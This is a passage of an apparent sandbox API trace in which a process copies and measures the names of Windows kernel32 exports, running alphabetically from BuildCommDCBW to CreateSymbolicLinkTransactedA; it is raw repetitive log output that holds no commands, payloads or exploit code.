returned="BuildCommDCBW" [0142.110] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0142.110] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0142.110] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0142.110] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0142.110] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0142.110] lstrlenA (lpString="CANCELIO") returned 8 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0142.110] lstrlenA (lpString="CANCELIOEX") returned 10 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0142.110] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0142.110] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0142.110] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0142.110] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0142.110] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0142.111] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0142.111] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0142.111] lstrlenA (lpString="CHECKELEVATION") returned 14 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0142.111] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0142.111] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0142.111] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0142.111] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0142.111] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0142.111] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0142.111] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0142.111] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0142.111] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0142.111] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0142.111] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0142.111] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0142.111] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0142.111] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0142.112] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0142.112] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0142.112] lstrlenA (lpString="CLOSESTATE") returned 10 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0142.112] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0142.112] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0142.112] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0142.112] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0142.112] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0142.112] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0142.112] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0142.112] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0142.112] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0142.112] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0142.112] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0142.112] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0142.112] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0142.112] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0142.113] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0142.113] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0142.113] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0142.113] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0142.113] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0142.113] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0142.113] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0142.113] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0142.113] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0142.114] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0142.114] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0142.114] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0142.114] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0142.114] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0142.114] lstrlenA (lpString="COPYCONTEXT") returned 11 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0142.114] lstrlenA (lpString="COPYFILE2") returned 9 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0142.114] lstrlenA (lpString="COPYFILEA") returned 9 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0142.114] lstrlenA (lpString="COPYFILEEXA") returned 11 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0142.114] lstrlenA (lpString="COPYFILEEXW") returned 11 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0142.114] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0142.114] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0142.114] lstrlenA (lpString="COPYFILEW") returned 9 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0142.114] lstrlenA (lpString="COPYLZFILE") returned 10 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0142.114] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0142.114] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0142.114] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0142.115] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0142.115] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0142.115] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0142.115] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0142.115] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0142.115] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0142.115] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0142.115] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0142.115] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0142.115] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0142.115] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0142.115] lstrlenA (lpString="CREATEEVENTA") returned 12 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0142.115] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0142.115] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0142.115] lstrlenA (lpString="CREATEEVENTW") returned 12 [0142.115] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0142.115] lstrlenA (lpString="CREATEFIBER") returned 11 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0142.116] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0142.116] lstrlenA (lpString="CREATEFILE2") returned 11 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0142.116] lstrlenA (lpString="CREATEFILEA") returned 11 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0142.116] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0142.116] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0142.116] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0142.116] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0142.116] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0142.116] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0142.116] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0142.116] lstrlenA (lpString="CREATEFILEW") returned 11 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0142.116] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0142.116] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0142.116] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0142.116] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0142.116] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0142.116] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0142.117] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0142.117] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0142.117] lstrlenA (lpString="CREATEJOBSET") returned 12 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0142.117] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0142.117] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0142.117] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0142.117] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0142.117] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0142.117] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0142.117] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0142.117] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0142.117] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0142.117] lstrlenA (lpString="CREATEPIPE") returned 10 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0142.117] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0142.117] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0142.117] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0142.117] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0142.118] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0142.118] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0142.118] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0142.118] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0142.118] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0142.118] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0142.118] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0142.118] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0142.118] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0142.118] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0142.118] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0142.118] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0142.118] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0142.118] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") 